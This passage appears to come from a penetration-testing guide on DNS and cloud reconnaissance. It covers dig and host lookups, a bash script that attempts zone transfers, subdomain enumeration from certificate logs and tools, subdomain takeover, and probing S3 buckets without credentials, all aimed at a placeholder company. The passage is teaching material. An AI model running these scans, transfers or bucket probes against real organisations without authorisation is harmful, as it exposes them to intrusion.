&lt;p&gt;&lt;strong&gt;host&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Simple, clean DNS lookup tool.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;host targetco.com
host &lt;span class="nt"&gt;-t&lt;/span&gt; MX targetco.com
host &lt;span class="nt"&gt;-t&lt;/span&gt; NS targetco.com
host &lt;span class="nt"&gt;-a&lt;/span&gt; targetco.com    &lt;span class="c"&gt;# All records&lt;/span&gt;
host 203.0.113.50       &lt;span class="c"&gt;# Reverse lookup&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  DNS Reconnaissance Workflow — Complete Lab Procedure
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="c"&gt;# Professional DNS Reconnaissance Script&lt;/span&gt;
&lt;span class="nv"&gt;DOMAIN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"targetco.com"&lt;/span&gt;
&lt;span class="nv"&gt;OUTPUT_DIR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/tmp/dns_recon_&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;DOMAIN&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"=== DNS RECONNAISSANCE: &lt;/span&gt;&lt;span class="nv"&gt;$DOMAIN&lt;/span&gt;&lt;span class="s2"&gt; ==="&lt;/span&gt; | &lt;span class="nb"&gt;tee&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/summary.txt

&lt;span class="c"&gt;# 1. Identify nameservers&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[*] Nameservers:"&lt;/span&gt; | &lt;span class="nb"&gt;tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/summary.txt
dig &lt;span class="nv"&gt;$DOMAIN&lt;/span&gt; NS +short | &lt;span class="nb"&gt;tee&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/nameservers.txt

&lt;span class="c"&gt;# 2. SOA record (admin email)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[*] SOA Record:"&lt;/span&gt; | &lt;span class="nb"&gt;tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/summary.txt
dig &lt;span class="nv"&gt;$DOMAIN&lt;/span&gt; SOA +short | &lt;span class="nb"&gt;tee&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/soa.txt

&lt;span class="c"&gt;# 3. A records&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[*] A Records:"&lt;/span&gt; | &lt;span class="nb"&gt;tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/summary.txt
dig &lt;span class="nv"&gt;$DOMAIN&lt;/span&gt; A +short | &lt;span class="nb"&gt;tee&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/a_records.txt

&lt;span class="c"&gt;# 4. MX records (email infrastructure)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[*] MX Records:"&lt;/span&gt; | &lt;span class="nb"&gt;tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/summary.txt
dig &lt;span class="nv"&gt;$DOMAIN&lt;/span&gt; MX +short | &lt;span class="nb"&gt;tee&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/mx_records.txt

&lt;span class="c"&gt;# 5. TXT records (SPF, DMARC, verification tokens)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[*] TXT Records:"&lt;/span&gt; | &lt;span class="nb"&gt;tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/summary.txt
dig &lt;span class="nv"&gt;$DOMAIN&lt;/span&gt; TXT +short | &lt;span class="nb"&gt;tee&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/txt_records.txt

&lt;span class="c"&gt;# 6. DMARC policy&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[*] DMARC:"&lt;/span&gt; | &lt;span class="nb"&gt;tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/summary.txt
dig _dmarc.&lt;span class="nv"&gt;$DOMAIN&lt;/span&gt; TXT +short | &lt;span class="nb"&gt;tee&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/dmarc.txt

&lt;span class="c"&gt;# 7. DKIM (try common selectors)&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;selector &lt;span class="k"&gt;in &lt;/span&gt;default google mail k1 selector1 selector2&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;&lt;span class="nv"&gt;result&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;dig &lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;selector&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;._domainkey.&lt;span class="nv"&gt;$DOMAIN&lt;/span&gt; TXT +short&lt;span class="si"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nt"&gt;-z&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[*] DKIM Selector: &lt;/span&gt;&lt;span class="nv"&gt;$selector&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/summary.txt
        &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$result&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/dkim.txt
    &lt;span class="k"&gt;fi
done&lt;/span&gt;

&lt;span class="c"&gt;# 8. Zone transfer attempts&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[*] Attempting zone transfers..."&lt;/span&gt; | &lt;span class="nb"&gt;tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/summary.txt
&lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read &lt;/span&gt;ns&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[*] Trying AXFR from &lt;/span&gt;&lt;span class="nv"&gt;$ns&lt;/span&gt;&lt;span class="s2"&gt;..."&lt;/span&gt; | &lt;span class="nb"&gt;tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/summary.txt
    dig axfr &lt;span class="nv"&gt;$DOMAIN&lt;/span&gt; @&lt;span class="nv"&gt;$ns&lt;/span&gt; | &lt;span class="nb"&gt;tee&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/axfr_&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;ns&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;.txt
&lt;span class="k"&gt;done&lt;/span&gt; &amp;lt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/nameservers.txt

&lt;span class="c"&gt;# 9. IPv6&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[*] AAAA Records:"&lt;/span&gt; | &lt;span class="nb"&gt;tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/summary.txt
dig &lt;span class="nv"&gt;$DOMAIN&lt;/span&gt; AAAA +short | &lt;span class="nb"&gt;tee&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/aaaa_records.txt

&lt;span class="c"&gt;# 10. CAA&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[*] CAA Records:"&lt;/span&gt; | &lt;span class="nb"&gt;tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/summary.txt
dig &lt;span class="nv"&gt;$DOMAIN&lt;/span&gt; CAA +short | &lt;span class="nb"&gt;tee&lt;/span&gt; &lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;/caa.txt

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"[*] DNS Reconnaissance Complete. Results in &lt;/span&gt;&lt;span class="nv"&gt;$OUTPUT_DIR&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Online DNS Reconnaissance Tools
&lt;/h4&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;URL&lt;/th&gt;
&lt;th&gt;Best For&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DNSDumpster&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://dnsdumpster.com" rel="noopener noreferrer"&gt;https://dnsdumpster.com&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Visual DNS map, subdomains, MX, TXT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SecurityTrails&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://securitytrails.com" rel="noopener noreferrer"&gt;https://securitytrails.com&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;DNS history, all record types&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;MXToolbox&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://mxtoolbox.com" rel="noopener noreferrer"&gt;https://mxtoolbox.com&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Email infrastructure, MX, SPF, DMARC analysis&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DNSlytics&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://dnslytics.com" rel="noopener noreferrer"&gt;https://dnslytics.com&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Reverse DNS, related domains&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ViewDNS.info&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://viewdns.info" rel="noopener noreferrer"&gt;https://viewdns.info&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Comprehensive DNS tools&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;IntoDNS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://intodns.com" rel="noopener noreferrer"&gt;https://intodns.com&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;DNS health check and misconfiguration detection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DMARC Inspector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://dmarcian.com/dmarc-inspector/" rel="noopener noreferrer"&gt;https://dmarcian.com/dmarc-inspector/&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;DMARC policy analysis&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;MXToolbox DKIM Checker&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://mxtoolbox.com/dkim.aspx" rel="noopener noreferrer"&gt;https://mxtoolbox.com/dkim.aspx&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;DKIM record analysis&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ARIN&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://search.arin.net" rel="noopener noreferrer"&gt;https://search.arin.net&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;IP WHOIS, ASN lookups&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;BGP.he.net&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://bgp.he.net" rel="noopener noreferrer"&gt;https://bgp.he.net&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;BGP routing, ASN details&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h3&gt;
  
  
  3.1.10 Cloud vs. Self-Hosted Applications and Related Subdomains
&lt;/h3&gt;

&lt;p&gt;Modern organizations rarely run entirely self-hosted infrastructure. Understanding the distinction between cloud-hosted and self-hosted assets dramatically affects the penetration testing approach, authorization requirements, and vulnerability surface.&lt;/p&gt;

&lt;h4&gt;
  
  
  Identifying Cloud-Hosted Infrastructure
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Method 1: DNS CNAME Analysis&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;CNAME records pointing to cloud provider domains are the clearest indicator of cloud hosting:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;CNAME Destination&lt;/th&gt;
&lt;th&gt;Cloud Service&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*.cloudfront.net&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;AWS CloudFront CDN&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*.awsglobalaccelerator.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;AWS Global Accelerator&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*.elasticbeanstalk.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;AWS Elastic Beanstalk&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*.s3.amazonaws.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;AWS S3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*.s3-website-*.amazonaws.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;AWS S3 Static Website&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*.azurewebsites.net&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Azure App Service&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*.azurefd.net&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Azure Front Door&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*.blob.core.windows.net&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Azure Blob Storage&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*.trafficmanager.net&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Azure Traffic Manager&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*.appspot.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Google App Engine&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*.run.app&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Google Cloud Run&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*.cloudfunctions.net&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Google Cloud Functions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*.storage.googleapis.com&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Google Cloud Storage&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;*.herokussl.com&lt;/code&gt; / &lt;code&gt;*.herokudns.com&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Heroku&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*.netlify.app&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Netlify&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*.vercel.app&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Vercel&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*.github.io&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;GitHub Pages&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*.pages.dev&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Cloudflare Pages&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*.fastly.net&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Fastly CDN&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*.edgekey.net&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Akamai&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*.cdn.cloudflare.net&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Cloudflare CDN&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Method 2: IP Range Identification&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Cloud providers publish their IP ranges. Identifying that a target IP belongs to a cloud provider IP range reveals cloud hosting:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;AWS IP ranges:&lt;/strong&gt; &lt;a href="https://ip-ranges.amazonaws.com/ip-ranges.json" rel="noopener noreferrer"&gt;https://ip-ranges.amazonaws.com/ip-ranges.json&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Azure IP ranges:&lt;/strong&gt; &lt;a href="https://download.microsoft.com/download/7/1/D/71D86715-5596-4529-9B13-DA13A5DE5B63/ServiceTags_Public.json" rel="noopener noreferrer"&gt;https://download.microsoft.com/download/7/1/D/71D86715-5596-4529-9B13-DA13A5DE5B63/ServiceTags_Public.json&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;GCP IP ranges:&lt;/strong&gt; &lt;a href="https://cloud.google.com/compute/docs/faq#find_ip_range" rel="noopener noreferrer"&gt;https://cloud.google.com/compute/docs/faq#find_ip_range&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cloudflare IP ranges:&lt;/strong&gt; &lt;a href="https://cloudflare.com/ips/" rel="noopener noreferrer"&gt;https://cloudflare.com/ips/&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check if IP belongs to AWS&lt;/span&gt;
curl https://ip-ranges.amazonaws.com/ip-ranges.json | python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"
import json, sys
data = json.load(sys.stdin)
target_ip = '203.0.113.50'
for prefix in data['prefixes']:
    import ipaddress
    if ipaddress.ip_address(target_ip) in ipaddress.ip_network(prefix['ip_prefix']):
        print(f'AWS Region: {prefix[&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;region&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;]}, Service: {prefix[&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;service&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;]}')
"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Method 3: HTTP Response Headers&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;HTTP headers often reveal cloud provider and CDN usage:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-I&lt;/span&gt; https://www.targetco.com

&lt;span class="c"&gt;# Headers revealing cloud services:&lt;/span&gt;
&lt;span class="c"&gt;# X-Amz-Cf-Id: → CloudFront&lt;/span&gt;
&lt;span class="c"&gt;# CF-Ray: → Cloudflare&lt;/span&gt;
&lt;span class="c"&gt;# X-Azure-Ref: → Azure Front Door&lt;/span&gt;
&lt;span class="c"&gt;# X-GUploader-UploadID: → Google Cloud Storage&lt;/span&gt;
&lt;span class="c"&gt;# X-Served-By: cache-... → Fastly&lt;/span&gt;
&lt;span class="c"&gt;# Via: 1.1 akamai → Akamai&lt;/span&gt;
&lt;span class="c"&gt;# Server: AmazonS3 → AWS S3&lt;/span&gt;
&lt;span class="c"&gt;# X-Powered-By: Express on Google Cloud → GCP&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Subdomain Enumeration — Professional Techniques
&lt;/h4&gt;

&lt;p&gt;Subdomain discovery is one of the highest-value activities in passive reconnaissance. Modern enterprise organizations have hundreds or thousands of subdomains, many of which are forgotten, unmanaged, or running legacy software.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Certificate Transparency (CT) Logs:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Every SSL/TLS certificate issued by a trusted CA is logged to public Certificate Transparency logs. These logs contain the domain names (including subdomains) in every certificate issued.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# crt.sh — The primary CT log search interface&lt;/span&gt;
curl &lt;span class="s1"&gt;'https://crt.sh/?q=%.targetco.com&amp;amp;output=json'&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import json,sys; [print(e['name_value']) for e in json.load(sys.stdin)]"&lt;/span&gt; | &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt;

&lt;span class="c"&gt;# Subfinder — Comprehensive passive subdomain discovery&lt;/span&gt;
subfinder &lt;span class="nt"&gt;-d&lt;/span&gt; targetco.com &lt;span class="nt"&gt;-all&lt;/span&gt; &lt;span class="nt"&gt;-recursive&lt;/span&gt;

&lt;span class="c"&gt;# Amass — Comprehensive subdomain enumeration&lt;/span&gt;
amass enum &lt;span class="nt"&gt;-passive&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; targetco.com
amass enum &lt;span class="nt"&gt;-active&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; targetco.com

&lt;span class="c"&gt;# assetfinder — Fast, focused subdomain discovery&lt;/span&gt;
assetfinder targetco.com

&lt;span class="c"&gt;# chaos — Project Discovery's subdomain database&lt;/span&gt;
chaos &lt;span class="nt"&gt;-d&lt;/span&gt; targetco.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why CT logs are the most valuable passive subdomain source:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Cover all publicly trusted SSL certificates since approximately 2013&lt;/li&gt;
&lt;li&gt;Include certificates for subdomains that may no longer resolve (revealing historical infrastructure)&lt;/li&gt;
&lt;li&gt;Include wildcard certificates (*.targetco.com) that hint at dynamic subdomain usage&lt;/li&gt;
&lt;li&gt;Include certificates for internal systems that accidentally got public certs&lt;/li&gt;
&lt;li&gt;Are 100% passive — no interaction with the target&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Subdomain Takeover:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Subdomain takeover is a vulnerability where a subdomain's DNS record points to a third-party service that is no longer configured for that subdomain, allowing an attacker to claim the subdomain.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;DNS: dev.targetco.com → CNAME → targetco.herokuapp.com (Heroku)
If targetco has cancelled their Heroku account, targetco.herokuapp.com is unclaimed.
Attacker creates a Heroku app at targetco.herokuapp.com
Attacker now controls dev.targetco.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This enables:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Serving malicious content under the target's legitimate domain&lt;/li&gt;
&lt;li&gt;Stealing cookies scoped to &lt;code&gt;*.targetco.com&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Bypassing Content Security Policy (CSP)&lt;/li&gt;
&lt;li&gt;Credential phishing under a trusted domain
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check for subdomain takeover vulnerabilities&lt;/span&gt;
subjack &lt;span class="nt"&gt;-w&lt;/span&gt; discovered_subdomains.txt &lt;span class="nt"&gt;-t&lt;/span&gt; 100 &lt;span class="nt"&gt;-timeout&lt;/span&gt; 30 &lt;span class="nt"&gt;-o&lt;/span&gt; results.txt &lt;span class="nt"&gt;-ssl&lt;/span&gt;
nuclei &lt;span class="nt"&gt;-l&lt;/span&gt; discovered_subdomains.txt &lt;span class="nt"&gt;-t&lt;/span&gt; takeovers/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Cloud-Specific Subdomain Intelligence:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;AWS S3 Buckets:&lt;/strong&gt;&lt;br&gt;
S3 bucket names in URLs often follow predictable patterns:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://targetco-assets.s3.amazonaws.com
https://s3.amazonaws.com/targetco-backups
https://targetco.s3-website-us-east-1.amazonaws.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Tools for S3 bucket discovery:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# S3Scanner&lt;/span&gt;
s3scanner scan &lt;span class="nt"&gt;--bucket&lt;/span&gt; targetco
s3scanner scan &lt;span class="nt"&gt;--bucket-file&lt;/span&gt; probable_bucket_names.txt

&lt;span class="c"&gt;# AWS CLI (if credentials available)&lt;/span&gt;
aws s3 &lt;span class="nb"&gt;ls &lt;/span&gt;s3://targetco-assets &lt;span class="nt"&gt;--no-sign-request&lt;/span&gt;

&lt;span class="c"&gt;# lazys3&lt;/span&gt;
ruby lazys3.rb targetco
